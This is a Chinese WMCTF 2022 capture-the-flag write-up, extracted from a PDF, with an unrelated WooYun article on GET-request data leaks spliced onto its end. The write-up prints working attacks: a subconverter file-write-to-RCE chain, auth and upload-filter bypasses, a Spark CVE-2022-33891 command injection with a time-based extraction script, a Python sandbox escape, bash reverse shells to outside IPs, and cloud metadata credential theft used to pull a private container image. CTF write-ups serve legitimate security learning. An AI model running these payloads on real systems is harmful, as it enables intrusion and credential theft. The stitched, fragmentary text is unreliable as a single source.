1 WMCTF 2022 部分 WRITEUP 前⾔ WEB subconverter RCE? ⽂件写⼊ 任意⽂件读取 构造quickjs脚本 RCE 链 RCE! ⼩插曲 easyjeecg Java ssrf spark bash延时"注⼊" 交互shell 6166lover 信息泄露 代码审计 cpython简单的沙箱逃逸 数据恢复? k8s 容器逃逸 PWN Ubuntu MISC Hacked_by_L1near permessage-deflate Checkin 2 作者:⽩帽酱 这次WMCTF拿了3个⼀⾎ 题⽬设计⾮常有趣 其中还有⼏个0day 很多实际渗透遇到的问题也考虑到了 题⽬给了⼀个开源的代理订阅转换器 是个C++的项⽬ 拿到源码 ⾸先先寻找路由 查看鉴权逻辑 前⾔ WEB subconverter 3 /* webServer.append_response("GET", "/", "text/plain", [](RESPONSE_CALLBACK_ ARGS) -> std::string { return "subconverter " VERSION " backend\n"; }); */ webServer.append_response("GET", "/version", "text/plain", [](RESPONSE_CA LLBACK_ARGS) -> std::string { return "subconverter " VERSION " backend\n"; }); webServer.append_response("GET", "/refreshrules", "text/plain", [](RESPON SE_CALLBACK_ARGS) -> std::string { if(global.accessToken.size()) { std::string token = getUrlArg(request.argument, "token"); if(token != global.accessToken) { response.status_code = 403; return "Forbidden\n"; } } refreshRulesets(global.customRulesets, global.rulesetsContent); return "done\n"; }); webServer.append_response("GET", "/readconf", "text/plain", [](RESPONSE_C ALLBACK_ARGS) -> std::string { if(global.accessToken.size()) { std::string token = getUrlArg(request.argument, "token"); if(token != global.accessToken) { response.status_code = 403; return "Forbidden\n"; } } readConf(); if(!global.updateRulesetOnRequest) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 src/main.cpp C++ 复制代码 4 refreshRulesets(global.customRulesets, global.rulesetsContent ); return "done\n"; }); webServer.append_response("POST", "/updateconf", "text/plain", [](RESPONS E_CALLBACK_ARGS) -> std::string { if(global.accessToken.size()) { std::string token = getUrlArg(request.argument, "token"); if(token != global.accessToken) { response.status_code = 403; return "Forbidden\n"; } } std::string type = getUrlArg(request.argument, "type"); if(type == "form") fileWrite(global.prefPath, getFormData(request.postdata), tru e); else if(type == "direct") fileWrite(global.prefPath, request.postdata, true); else { response.status_code = 501; return "Not Implemented\n"; } readConf(); if(!global.updateRulesetOnRequest) refreshRulesets(global.customRulesets, global.rulesetsContent ); return "done\n"; }); webServer.append_response("GET", "/flushcache", "text/plain", [](RESPONSE _CALLBACK_ARGS) -> std::string { if(getUrlArg(request.argument, "token") != global.accessToken) { response.status_code = 403; return "Forbidden"; } flushCache(); return "done"; }); 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 5 显然 token参数 ⽤于部分路由的鉴权 其中 /version 路由可以获取当前版本 访问之 发现题⽬中给出的是 f9713b4分⽀版本的代码 webServer.append_response("GET", "/sub", "text/plain;charset=utf-8", subc onverter); webServer.append_response("GET", "/sub2clashr", "text/plain;charset=utf- 8", simpleToClashR); webServer.append_response("GET", "/surge2clash", "text/plain;charset=utf- 8", surgeConfToClash); webServer.append_response("GET", "/getruleset", "text/plain;charset=utf- 8", getRuleset); webServer.append_response("GET", "/getprofile", "text/plain;charset=utf- 8", getProfile); webServer.append_response("GET", "/qx-script", "text/plain;charset=utf-8" , getScript); webServer.append_response("GET", "/qx-rewrite", "text/plain;charset=utf- 8", getRewriteRemote); webServer.append_response("GET", "/render", "text/plain;charset=utf-8", r enderTemplate); webServer.append_response("GET", "/convert", "text/plain;charset=utf-8", getConvertedRuleset); if(!global.APIMode) { webServer.append_response("GET", "/get", "text/plain;charset=utf-8", [](R ESPONSE_CALLBACK_ARGS) -> std::string { std::string url = urlDecode(getUrlArg(request.argument, "url")); return webGet(url, ""); }); webServer.append_response("GET", "/getlocal", "text/plain;charset=utf-8", [](RESPONSE_CALLBACK_ARGS) -> std::string { return fileGet(urlDecode(getUrlArg(request.argument, "path"))); }); } 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 6 是⼀个未release的最新版本 看来是个0day 重新pull代码 开始审计最新版本 项⽬内置了⼀个脚本引擎quickjs 追踪调⽤ 发现脚本引擎在profile 转换时调⽤且需要鉴权 RCE? 引擎初始化 包含库 7 URL满⾜script: 开头即可进⼊分⽀ 其中读取脚本时使⽤了fileGet函数来读取⽂件 只能读取普通⽂件 该点的利⽤条件: 鉴权 + 写⼊⽂件 继续查看其他eval调⽤ 在定时任务中同样也使⽤了这个脚本引擎 这⾥与之前不同的是此处使⽤的是fetchFile函数 8 定时任务的脚本路径使⽤了配置⽂件中的配置项 利⽤条件: 修改配置⽂件 这个函数⽀持 data: http: https: ⽂件读取 9 webGet下⽅的代码引起了我的注意 这个函数实现了⼀个简单的缓存功能⽤于缓存远程订阅 在缓存过程的中写⼊了⽂件 只有cache_ttl>0时请求才会被缓存 ⼀番搜索过后发现了⼀个添加ttl的缓存路由 访问 /convert?url=http://1.1.1.1:8000/1.js 即可发起⼀个缓存请求 convert路由调⽤了fetchFile函数 获取⽂件内容 这个函数可以读取本地⽂件 convert读取⽂件后只对⽂件进⾏了简单的正则替换 所以,我们可以利⽤这个路由读取任意⽂件. ⽂件写⼊ 任意⽂件读取 10 成功读取当前⽬录下的配置⽂件 (其实这个项⽬还有⼀堆⽂件读取点 x) 鉴权token到⼿ 在官⽅⽂档中查找代码中引⼊的库所对应的函数列表 很快在std库中发现了⼀个常⻅的命令执⾏函数popen 构造quickjs脚本 11 直接构造⼀个反弹shell 到这⾥可以整理出最简单的两条RCE链: 修改配置⽂件->添加计划任务->计划任务执⾏脚本 写⼊⽂件->转换profile->执⾏本地脚本 修改配置⽂件的路由是POST⽅法 后来发现题⽬使⽤的中间件代理只允许GET请求,还限制了传⼊参数.所以第⼀条只能放弃. 第⼀步 读取配置⽂件 获取token RCE 链 RCE! std.popen("bash -c 'echo 5YGH6KOF6L+Z5piv5LiA5p2h5Y+N5by5c2hlbGzor63lj6UgIG lAcmNlLm1vZQ==|base64 -d|bash'", "r"); 1 JavaScript 复制代码 12 第⼆步 缓存远程⽂件 /convert?url=http://1.1.1.1:8000/1.js 第三步 计算缓存⽂件名 带⼊token 触发订阅转换 执⾏脚本 /sub? token=K5unAFg0wPO1j&target=clash&url=script:cache/c290fb8309721db5f8622eb278635c 1a GETSHELL! 13 当时我的⼀个⽤于出⽹检测的vps 由于⽹络被动,在第⼀次发起请求时并没有返回数据. 还以为⽬标服务器不出⽹. 为了解决不出⽹的问题. 当时就想到了利⽤嵌套convert构造⼀个url. 在不出⽹的情况下缓存⽂件. 127.0.0.1:25500/convert?url=http://127.0.0.1:25500/convert? url=data://text/plain,abcdefg123123orange 结果发现了⼀个⽞学的现象 ⾃身发起的请求总是⽆法请求到⾃身的http服务 请求本地其他web服务正常访问 ⼩插曲 14 排查了半天后在数据包发现请求中有⼀个特殊的请求头 为了防⽌回环请求(⾃身访问⾃身服务)引起的dos 在http头打了⼀个标记,收到有标记的请求直接拒绝访问. 研究了半天发现⽆法绕过这个特性 本来要放弃的时候我⼜随⼿⼀测 发现⼜能访问我的VPS了 x) ⼀个开源java 项⽬ https://github.com/zhangdaiscott/jeecg 题⽬描述写的签到题难度 (checkin) 实际上这道题也⾮常简单 题⽬修改了默认管理员密码 easyjeecg 排查了半天才找出的安全特性 15 ⾸先看下鉴权过滤器部分 其中有⼀处特别显眼的路由判断 判断了requestpath前⼏位是否为 api/ 作为鉴权⽩名单 可以直接使⽤ api/;../ 绕过这个全局鉴权 16 之后找到了⼀处后台上传点 题⽬禁⽌了访问upload⽬录下的jsp jspx绕过之 ⼀道简单的内⽹渗透题 Java ssrf 17 ⽹站只有⼀个获取url访问的功能 扫描内⽹同⽹段的机器 发现了⼀个低版本spark 直接尝试 CVE-2022-33891 发现过滤了空格和` spark 18 多次测试发现⽬标机器完全不出⽹ 尝试使⽤延时获取flag 按照之前题⽬的套路 ,web题⽬的flag都是运⾏/readflag 读取 先判断/readflag 是否存在 编写bash脚本 构造url url=http://10.244.0.145:8080/? doAs=|echo${IFS}ZmlsZT0iL3JlYWRmbGFnIgppZiBbIC1mICIkZmlsZSIgXTsgdGhlbgogIHNsZWVwID MKZmk%3D|base64${IFS}-d${IFS}|bash&Vcode=FPML 根据延迟判断根⽬录下存在 readflag 编写bash脚本判断⽂件内容 奇怪的事情发⽣了 远程的机器测试⽆法复现 在执⾏第⼀⾏后就会⽴⻢退出 尝试把执⾏后的结果写到临时⽂件 读取临时⽂件 /readflag >/tmp/dfsdef 再次尝试读取第⼀字节 脚本测试通过 bash延时"注⼊" file="/readflag" if [ -f "$file" ]; then sleep 3 fi 1 2 3 4 JavaScript 复制代码 VAR=`/readflag`; if [[ "${VAR:0:1}" = "a" ]]; then sleep 2 else sleep 0 fi 1 2 3 4 5 6 JavaScript 复制代码 19 之后随⼿写了个简单的python2脚本⽤于⾃动化判断 import requests import base64 import urllib small = [chr(i) for i in range(97,123)] big = [chr(i) for i in range(65,91)] num =[str(x) for x in range(0, 10)] lista=small+big+num+['{','}',' ',"\n",'-','_'] data1="""VAR=`cat /tmp/dfsdef`; if [[ "${{VAR:{}:1}}" = "{}" ]]; then sleep 2 else sleep 0 fi""" print(lista) b=0 while True: for a in lista: datab=data1.format(b,a) try: requests.post("http://1.13.254.132:8080/file",data="url=htt p://10.244.0.145:8080/?doAs=|echo${IFS}"+urllib.quote(base64.b64encode(dat ab.encode()))+"|base64${IFS}-d${IFS}|bash&Vcode=FPML", cookies={'JSESSIONI D':'1F64EAF97095DA0736F5EE5B0F7CF20A'},headers={'Content-Type': 'applicati on/x-www-form-urlencoded'}, timeout=1,verify=False) except: print(a) break b=b+1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 Python 复制代码 20 readflag 返回了⼀个奇怪的内容 看起来是某种交互shell 提示需要输⼊队伍token 因为没有输⼊返回了错误 如果遇到这种普通的交互shell 有⼀个⾮常简单的解决⽅法 直接echo 后⾯加上换⾏符 使⽤管道重定向到⽬标的标准输⼊ 重新读取返回 交互shell 21 成功getflag 这道题⾮常可惜 卡在了阿⾥云ak sts利⽤的部分 题⽬使⽤了rust +rocket 根⽬录中的Cargo.toml可以被下载 6166lover 信息泄露 22 得到了包名 static-file 同时可以看出项⽬使⽤了 js-sandbox 和 cpython 访问 /static-files 可以下载题⽬⽂件 rust IDA反编译出的代码⾮常难看 所以优先使⽤rocket⾃带的debuglog 判断路由 阅读rocket代码 发现 loglevel 可以使⽤环境变量控制 代码审计 [package] name = "static-files" version = "0.0.0" workspace = "../" edition = "2021" publish = false [dependencies] rocket = "0.5.0-rc.2" js-sandbox = "0.1.6" cpython = "0.7.0" 1 2 3 4 5 6 7 8 9 10 11 Python 复制代码 23 添加环境变量运⾏ 发现有4条路由 24 (first) GET / (second) GET /<path..> (test2) GET /debug/wnihwi2h2i2j1no1_path_wj2mm?<code> (test) GET /debug/3wj2io2j2nlwnmkwwkowjwojw_path_eee?<code> 结合IDA反编译 不难看出 两个test路由 ⼀个调⽤了js沙箱 ⼀个调⽤了cython 显然cpython rce可能性更⼤些 项⽬中没有导⼊其他python库 也不能直接使⽤import 访问 /debug/wnihwi2h2i2j1no1_path_wj2mm?code=print(dir(__builtins__)) 查看可以使⽤的函数 cpython简单的沙箱逃逸 25 发现可以使⽤exec和__import__ /debug/wnihwi2h2i2j1no1_path_wj2mm? code=print(exec(%22__import__(%27os%27).system(%27echo%20YmFzXXXXXXXXXXXXXXXXXPi Yx%7Cbase64%20%2Dd%7Cbash%27)%22)) 直接尝试反弹shell 成功rce 过了⼀段时间被kill 使⽤ nohup & fork ⼀个新进程 解决 之后exit结束当前进程 26 找了半天哪⾥都找不到flag) 最后ps 发现启动时rm了flag ⾸先我想到了rm删除的⽂件没有覆盖时可以从硬盘中直接读取 这⾥只需要简单使⽤grep匹配字符串就可以 构造命令⾏ 本地测试成功 到了远程测试发现失败 明明df 中存在的⽬录 为什么会⽆法访问) 数据恢复? dd if=/dev/sda1|grep -o -m 1 -a -E '(WMCTF)\{.*\}' 1 Python 复制代码 27 之前光在本地测试 之后才反应过来这原来是个容器环境) 那么恢复⽂件的⽅法只可能是拿到容器镜像了 ⽤于没有k8s逃逸经验 这⾥我直接拿出了CDK ⼯具⾃动检测 发现可以访问到阿⾥云的metadata api k8s 容器逃逸 ls -ll /dev/ total 0 lrwxrwxrwx 1 root root 11 Aug 21 11:39 core -> /proc/kcore lrwxrwxrwx 1 root root 13 Aug 21 11:39 fd -> /proc/self/fd crw-rw-rw- 1 root root 1, 7 Aug 21 11:39 full drwxrwxrwt 2 root root 40 Aug 19 18:39 mqueue crw-rw-rw- 1 root root 1, 3 Aug 21 11:39 null lrwxrwxrwx 1 root root 8 Aug 21 11:39 ptmx -> pts/ptmx drwxr-xr-x 2 root root 0 Aug 21 11:39 pts crw-rw-rw- 1 root root 1, 8 Aug 21 11:39 random drwxrwxrwt 2 root root 40 Aug 19 18:39 shm lrwxrwxrwx 1 root root 15 Aug 21 11:39 stderr -> /proc/self/fd/2 lrwxrwxrwx 1 root root 15 Aug 21 11:39 stdin -> /proc/self/fd/0 lrwxrwxrwx 1 root root 15 Aug 21 11:39 stdout -> /proc/self/fd/1 -rw-rw-rw- 1 root root 0 Aug 21 11:39 termination-log crw-rw-rw- 1 root root 5, 0 Aug 21 11:39 tty crw-rw-rw- 1 root root 1, 9 Aug 21 11:39 urandom crw-rw-rw- 1 root root 1, 5 Aug 21 11:39 zero 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 空空如也的/dev/ Python 复制代码 28 拿到了⼀个 ⻆⾊为KubernetesWorkerRole的StS 临时令牌 经过⼀下午的测试 发现这个令牌的权限⾮常⼩ 这是个阿⾥云容器服务 ACK容器内的key 得到的稍微有价值的信息 只有通过api读取的ecs实例列表 并不能进⾏修改操作 猜测应该要拉取题⽬镜像 getflag 但是在题⽬给出的阿⾥云国际版⽂档并没有找到 api 只进⾏到这⾥了 x) ---------------------- 在官⽅解放出来后成功复现了题⽬ 29 使⽤拿到的token调⽤GetAuthorizationToken api 获取阿⾥云镜像仓库的临时凭证 https://help.aliyun.com/document_detail/72334.html WEB-6166lover: 1. Figure out that is a Rocket application and has Cargo.tml leaked. 2. Download it and find the application name "static-files" and download t he binary. 3. Run it with debug mode or Write a example application by yourself to fi nd out the route has been registered. 4. Figure out both of the debug route have done, one is js sandbox, the an other one is python "sandbox". Just think them as a black box and test the m. 5. Run python code to RCE. 6. ps -ef, You will find /flag has been deleted when the instance booted. 7. Use Alibabacloud metadata to get the host instance metadata, And a work er role on it. https://help.aliyun.com/document_detail/214777.html / /meta -data/ram/security-credentials/ 8. Use metadata api to get the temp credentials. 9. Use temp credentials to invoke api GetAuthorizationToken. https://help. aliyun.com/document_detail/72334.html 10. Pull image from alibabacloud image registry with username cr_temp_user and authorizationToken as its password. Image: registry.cn-hangzhou.aliyuncs.com/glzjin/6166lover You may know these from the challenge domain, I have deployed in hangzhou of alibabacloud k8s service(ACK). And know the author name is glzjin, and the challenge name 6166lover. 11. After pull it, just run it with docker run -it registry.cn-hangzhou.al iyuncs.com/glzjin/6166lover bash, and you may get the flag on the image. Thank you:) Just get your reverse shell like that: http://6166lover.cf8a086c34bdb47138be0b5d5b15b067a.cn-hangzhou.alicontaine r.com:81/debug/wnihwi2h2i2j1no1_path_wj2mm?code=__import__('os').system('b ash -c "bash -i >%26 /dev/tcp/137.220.194.119/2233 0>%261"') And maybe you have to find out a way to fork your process that not jam thi s application because it's deployed on k8s with a health check. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 Python 复制代码 30 使⽤凭证登陆仓库 #!/usr/bin/env python #coding=utf-8 from aliyunsdkcore.client import AcsClient from aliyunsdkcore.request import CommonRequest from aliyunsdkcore.auth.credentials import AccessKeyCredential from aliyunsdkcore.auth.credentials import StsTokenCredential credentials = StsTokenCredential('<your-access-key-id>', '<your-access-key -secret>', '<your-sts-token>') client = AcsClient(region_id='cn-hangzhou', credential=credentials) request = CommonRequest() request.set_accept_format('json') request.set_method('GET') request.set_protocol_type('https') # https | http request.set_domain('cr.cn-hangzhou.aliyuncs.com') request.set_version('2016-06-07') request.add_header('Content-Type', 'application/json') request.set_uri_pattern('/tokens') response = client.do_action_with_exception(request) # python2: print(response) print(str(response, encoding = 'utf-8')) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 Python 复制代码 31 pull 题⽬镜像 ps:题⽬镜像仓库名和镜像名可以利⽤ 内⽹的metrics监控查看到 也可以根据作者和题⽬名猜测 curl 172.20.240.9:8080/metrics registry.cn-hangzhou.aliyuncs.com/glzjin/6166lover 32 出题⼈失误,忘记修改题⽬flag 直接使⽤镜像内flag PWN Ubuntu 33 根据题⽬描述 这肯定是最近veo开源的那个ws内存⻢ https://github.com/veo/wsMemShell ⼤部分数据包以C1 开头 这的确是ws流量 这个内存⻢并没有加密流量的功能 为什么题⽬的流量不是明⽂呢? MISC Hacked_by_L1near permessage-deflate L1near⼤⿊客趁我睡觉的时候给我的tomcat服务器上了个websocket的内存⻢呜呜呜,还往服务器 ⾥写了⼀个flag,但是我这只抓到了websocket通信期间的流量,你能知道L1near⼤⿊客写的flag 是什么吗? L1near hacker put a websocket memory on my tomcat server while I was sleepi ng, and wrote a flag to the server, but I only captured the traffic during websocket communication, you can know L1near What is the flag written? Attachment: China: https://pan.baidu.com/s/144Cl2IlzMfUEa-niGvKZAg 提取码: pdva Other regions: https://drive.google.com/file/d/1wRHzI6sfwM7Mkw2QjcAEgxBL_5h EwK0m/view?usp=sharing 1 2 3 4 5 Python 复制代码 34 阅读ws相关的rfc 我发现了ws有⼀个 ⽀持压缩的特性 https://www.rfc-editor.org/rfc/rfc7692 35 A Message Compressed Using One Compressed DEFLATE Block Suppose that an endpoint sends a text message "Hello". If the endpoint uses one compressed DEFLATE block (compressed with fixed Huffman code and the "BFINAL" bit not set) to compress the message, the endpoint obtains the compressed data to use for the message payload as follows. The endpoint compresses "Hello" into one compressed DEFLATE block and flushes the resulting data into a byte array using an empty DEFLATE block with no compression: 0xf2 0x48 0xcd 0xc9 0xc9 0x07 0x00 0x00 0x00 0xff 0xff By stripping 0x00 0x00 0xff 0xff from the tail end, the endpoint gets the data to use for the message payload: 0xf2 0x48 0xcd 0xc9 0xc9 0x07 0x00 Suppose that the endpoint sends this compressed message without fragmentation. The endpoint builds one frame by putting all of the compressed data in the payload data portion of the frame: 0xc1 0x07 0xf2 0x48 0xcd 0xc9 0xc9 0x07 0x00 The first 2 octets (0xc1 0x07) are the WebSocket frame header (FIN=1, RSV1=1, RSV2=0, RSV3=0, opcode=text, MASK=0, Payload length=7). The following figure shows what value is set in each field of the WebSocket frame header. 0 1 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 +-+-+-+-+-------+-+-------------+ |F|R|R|R| opcode|M| Payload len | |I|S|S|S| |A| | |N|V|V|V| |S| | | |1|2|3| |K| | +-+-+-+-+-------+-+-------------+ |1|1|0|0| 1 |0| 7 | +-+-+-+-+-------+-+-------------+ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 Python 复制代码 36 去掉前两位 flag unmask 之后在末尾加上0x00 0x00 0xff 0xff 就可以使⽤ zlib解压raw数据 这⾥偷懒编写脚本重放流量 补全缺失的ws会话 塞给⼀个⽀持压缩到的ws服务端解析 Yoshino Standards Track [Page 22] RFC 7692 Compression Extensions for WebSocket December 2015 Suppose that the endpoint sends the compressed message with fragmentation. The endpoint splits the compressed data into fragments and builds frames for each fragment. For example, if the fragments are 3 and 4 octets, the first frame is: 0x41 0x03 0xf2 0x48 0xcd and the second frame is: 0x80 0x04 0xc9 0xc9 0x07 0x00 Note that the RSV1 bit is set only on the first frame. 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 37 import socket import binascii import time from flowcontainer.extractor import extract result = extract(r"info.pcapng",filter='',extension=['tcp.payload']) s = socket.socket() host = '127.0.0.1' port = 8088 for key in result: try: s = socket.socket() s.connect((host,port))#http升级ws⾸包 s.send(binascii.unhexlify("474554202f6563686f20485454502f312e310d0 a486f73743a203132372e302e302e313a383038380d0a557365722d4167656e743a204d6f7 a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363 43b2072763a3130332e3029204765636b6f2f32303130303130312046697265666f782f313 0332e300d0a4163636570743a202a2f2a0d0a4163636570742d4c616e67756167653a207a6 82d434e2c7a683b713d302e382c7a682d54573b713d302e372c7a682d484b3b713d302e352 c656e2d55533b713d302e332c656e3b713d302e320d0a4163636570742d456e636f64696e6 73a20677a69702c206465666c6174652c2062720d0a5365632d576562536f636b65742d566 57273696f6e3a2031330d0a4f726967696e3a20687474703a2f2f3132372e302e302e313a3 83038380d0a5365632d576562536f636b65742d457874656e73696f6e733a207065726d657 3736167652d6465666c6174650d0a5365632d576562536f636b65742d4b65793a204b624e4 b6f59636a495367797a4c38553977536745513d3d0d0a444e543a20310d0a436f6e6e65637 4696f6e3a206b6565702d616c6976652c20557067726164650d0a436f6f6b69653a2063737 266746f6b656e3d70756d423538564e414c543964624567535450574956414a504d4259454 e393152445578485063535367434e37477554386b5564636c334e477a78653567526e3b206 36f6d2e776962752e636d2e77656261646d696e2e6c616e673d7a682d434e3b205f67613d4 741312e312e313535373634333133362e313635383231343434340d0a5365632d466574636 82d446573743a20776562736f636b65740d0a5365632d46657463682d4d6f64653a2077656 2736f636b65740d0a5365632d46657463682d536974653a2073616d652d6f726967696e0d0 a507261676d613a206e6f2d63616368650d0a43616368652d436f6e74726f6c3a206e6f2d6 3616368650d0a557067726164653a20776562736f636b65740d0a0d0a")) s.recv(1024)#等待模拟服务器返回 value = result[key] a=value.extension['tcp.payload'] for c in a: s.send(binascii.unhexlify(c[0])) pass except: continue s.close() # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 Python 复制代码 38 使⽤⼀个ws模拟服务器接收请求 发现解压后的流量是⼀堆判断每⼀个字节内容的bash语句 匹配返回为1的请求 拼接字符串得到flag 39 (在最后发现最新版wireshark也⽀持ws解压缩(需要会话完整) 难怪作者会删掉会话头) 签到 WMCTF{Welcode_wmctf_2022!!!!have_fun!!} Checkin
pdf
2019/2/26 GET来的漏洞 | WooYun知识库 http://www.anquan.us/static/drops/web-7112.html 1/10 GET来的漏洞 呆子不开口 (/author/呆子不开口) · 2015/07/15 10:04 0x00 前言 这篇文章主要讲目前互联网上get方法被不规范使用带来的一些安全漏洞。其中重点会讲get请求在账号登陆体系中被滥用 的场景和攻击方式。 0x01 Get方法的定义 在客户机和服务器之间进行请求-响应时,两种最常被用到的方法是:GET 和 POST GET - 从指定的资源请求数据 POST - 向指定的资源提交要被处理的数据 GET 方法的查询字符串是在 GET 请求的 URL 中发送的,常见的场景是地址栏请求和超链接。 0x02 Get请求常见于如下场景中 浏览器地址栏中可见,会被别人看到 浏览器历史记录 被云加速的cdn服务商收集,proxy 被运营商或网络设备收集重放 在不安全的网络环境中被网络嗅探 用户的收藏夹 http的header的referrer字段中 web服务器日志、应用日志 被搜索引擎爬到,或者被客户端软件不规范收集 被用户邮件或微信分享出去 各种可能的地方,甚至山岗上田野上(一个黑客盗取了你的get请求后,路过一个山岗时,被大灰狼吃掉了,U盘掉在 了山岗上) 0x03 Get请求的风险 根据HTTP规范,GET用于信息获取,是安全的和幂等的。安全的意思是get请求不会让服务端的资源或状态改变。幂等的 意思是无论请求多少次,返回的结果都一样,都不会对服务端资源有任何副作用。 所以从被设计和现实中被使用的场景来看,get请求有如下特性 因为是获取资源的请求,所以会在客户端、缓存端和服务器端等地方到处出现,容易泄露被第三方获得 因为是安全和幂等的,所以各环节重放get请求时不用顾忌,不用提示用户。重放post有时浏览器会提示用户是否确定 要重新发送数据 所以get请求的使用应该遵循 (/author/呆 开口) 呆子不开口 ( 呆子不开 (/) (/n ew se nd) ✏ (/w p- logi n.p hp ? acti on =lo go ut& red ire ct_ to= htt p% 3A %2 F% 2F dro ps. wo oy un. org ) 2019/2/26 GET来的漏洞 | WooYun知识库 http://www.anquan.us/static/drops/web-7112.html 2/10 不应有增删改的操作 不应包含敏感信息 当你的实现不符合别人对你的预期,就可能产生漏洞,如 隐私泄露,被csrf漏洞利用,账号被盗…… 0x04 若你非要用get实现增删改 会被重放,导致服务端资源状态发生改变 浏览器的重新打开可能会重放请求,而不会提示用户 爬虫或安全扫描会重放你的请求 获取到你get请求的各种势力可能会重放此请求,如安全厂商,搜索引擎,神秘力量(除了山岗上那个黑客,因为他已 经被大灰狼吃掉了) get操作的csrf防护很难实施,因为get没有防伪造的需求,它的场景不一定配合你的防护。referrer信任可能被利用,token 可能被偷。举个例子,一个塑料盒子,它本就不是被设计用来存钱的,你若非要用它存钱,并还要加上一把锁,效果肯定 不会好。见下面例子: 网站允许用户发表第三方链接、图片等,那么用户构造的csrf请求的referrer是可信域的url,可以绕过referrer的防护 存在js端的跳转漏洞跳到第三方,同理可以绕过referrer Get请求中防护的token容易被偷,原理同上,后面的章节会细讲 常见的场景:一些使用了mvc框架的程序,直接用urlrewrite后的url来实现了增删改等操作 0x06 若你非用get传输敏感信息 互联网上常见的敏感信息举例: 隐私信息 http://weibo.com/lvwei 大家可能觉得微博id不算隐私,但一旦你的id和某些操作绑定的时候,那就算是隐私了 校验信息 https://mp.weixin.qq.com/cgi-bin/home?t=home/index&lang=zh_CN&token=371767643 这是微博公众平台管理后台的首页,首页url里会包含csrf防护的token 认证信息 http://XXX.XXXXXX.XXX/index.php?ticket=***************** http://XXX.XXXXXX.XXX/index.php?gsid=****************** 很多登录认证如单点登录,绑定第三方账号登录等会用get请求来完成登录 如果你的get请求中包含如上一些信息,那么你的敏感信息将会被偷被泄露,然后你会被搞!!! 0x07 敏感信息泄露举例 (/) (/n ew se nd) ✏ (/w p- logi n.p hp ? acti on =lo go ut& red ire ct_ to= htt p% 3A %2 F% 2F dro ps. wo oy un. org ) 2019/2/26 GET来的漏洞 | WooYun知识库 http://www.anquan.us/static/drops/web-7112.html 3/10 隐私信息泄露举例 用户登录微博后,首页的url会含有用户ID信息。所以timeline上的链接的主人会通过referrer知道哪些用户访问了它。可能 大家都不会在意,它可能会帮你逮微博马甲、捉奸在网…… 比如如下场景: 某天你男友出差,长夜漫漫,你很无聊,写了一篇博客,记录下了盛夏夜中你此刻的心情。喝完咖啡,你正打算上床睡觉 了,突然你又好奇想知道自己青春的文采已被多少人阅读。于是你打开电脑,登上服务器,去查看你博客的访问日志,从 referrer中你发现,你的男朋友和你的男同事在凌晨一点,都访问了你发的链接,并且IP一样。这个时候,作为一个男子 汉,你可能要考虑下,应该哭多大声才不会吵到邻居……当然,你还可以安慰自己,他们是一起在网吧通宵玩游戏 我还曾经用此方法帮人揪出了一些人的微博马甲。只要你够无聊,你还可以玩些别的,比如在用户打开的页面上再放上些 兴趣爱好治病寻医类的广告,如果他点了,你就可能会知道她平时爱逛的是不是三里屯的优衣库了。 我不清楚微博的首页地址为何要这样设计,服务端若要读当前用户id,完全从当前会话中就可读取,而且从安全的角度考 虑,也不应该会从url中读取用户id信息。那为什么要显示用户的id呢… token信息泄露举例 如上图,这是微信公众平台后台管理员点击了网友发来的信息后的打开第三方页面的请求,referrer字段中的url中包含了管 理后台的csrf防护的token 微信公众后台的操作大多是post,csrf的防护有token和referrer,但在每个页面的get请求中,也会含有这个token。这样的 话token很容易被referrer偷,见上图,token已经发给了第三方域了。这样csrf的防护体系就被削弱了 顺便说一句,这个后台是https的,所以我们的链接也要是https的才会发送referrer。在网上申请个免费的https站点即可 好在这个问题目前没什么危害,管理后台的csrf防护是referrer和token都做了的,而且用户想给公众号发一个链接需要一些 小技巧,直接发链接在后台是不可以形成链接的。 认证信息泄露举例——被referrer发到第三方 (/) (/n ew se nd) ✏ (/w p- logi n.p hp ? acti on =lo go ut& red ire ct_ to= htt p% 3A %2 F% 2F dro ps. wo oy un. org ) 2019/2/26 GET来的漏洞 | WooYun知识库 http://www.anquan.us/static/drops/web-7112.html 4/10 上图是现在的乌云的厂商用户的查看漏洞详情的临时页面,原来的页面是没有查看密码的,是可以通过地址栏里那个含有 auth信息的get请求直接查看漏洞详情的 但某一漏洞详情页包含了一个优酷的视频,这个查看详情的链接会在优酷的视频页显示。因为优酷为了告诉用户展示来 源,显示了referrer信息。这样这个漏洞详情的临时查看页面就可以被网友在网上无意撞见了,厂商的漏洞详情可能会被提 前泄露。见下图 详情可参考 WooYun: 乌云某临时授权查看链接在某些极小可能性下有泄露的可能 (http://www.wooyun.org/bugs/wooyun- 2015-0102609) 然后我想看看这个查看漏洞的授权页在网上泄露了多少,去百度搜了下 一个月内泄露的乌云厂商用户的临时查看链接竟然有十二页之多,我觉得应该不可能全是厂商管理员分享出去的。所以我 有了一个猜测,不一定是错的,那就是:乌云的所有get请求都已被百度云加速收集,用来帮助用户进行搜索的seo优化。 0x08 偷最敏感的信息——认证信息 使用get请求认证的一些场景 单点登陆从sso拿ticket信息,参数名如ticket、auth 网站绑定第三方账号登陆,由第三方给的登陆凭证 App给内嵌页面请求加上认证信息,参数名如sid、gsid (/) (/n ew se nd) ✏ (/w p- logi n.p hp ? acti on =lo go ut& red ire ct_ to= htt p% 3A %2 F% 2F dro ps. wo oy un. org ) 2019/2/26 GET来的漏洞 | WooYun知识库 http://www.anquan.us/static/drops/web-7112.html 5/10 